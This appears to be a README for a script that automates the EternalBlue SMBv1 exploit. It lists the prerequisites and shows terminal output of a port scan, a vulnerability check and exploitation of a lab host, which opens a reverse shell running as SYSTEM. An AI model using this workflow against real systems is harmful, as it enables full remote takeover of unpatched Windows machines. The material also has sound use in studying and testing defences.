Prerequisites:

1. Python 2 and "python-nmap" library which can be installed using "pip install python-nmap" command
2. Metasploit Framework (Installation instructions: https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework) (Note: In Kali Linux, by default it's preinstalled)

EternalBlue end-to-end:

Here we go,

- Step 1:

```
root@kali:~# python EternalBlue.py

Enter the IP address:192.168.17.128
Port 139 is open
Port 445 is open

-------------------------------------------------------------------
Verify whether the system is vulnerable to EternalBlue exploit(Y/N):Y
-------------------------------------------------------------------

  VULNERABLE:
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    State: VULNERABLE
    IDs:  CVE:CVE-2017-0143
    Risk factor: HIGH
      A critical remote code execution vulnerability exists in Microsoft SMBv1
       servers (ms17-010).

    Disclosure date: 2017-03-14
    References:
      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

- Step 2:

```
Proceed to exploit the system(Y/N):Y
Enter the IP address of the local system:192.168.17.129
Exploitation started.......
```

- Step 3:

```
[*] Command shell session 1 opened (192.168.17.129:4444 -> 192.168.17.128:49575) at 2018-10-04 18:01:01 -0400
[+] 192.168.17.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.17.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.17.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```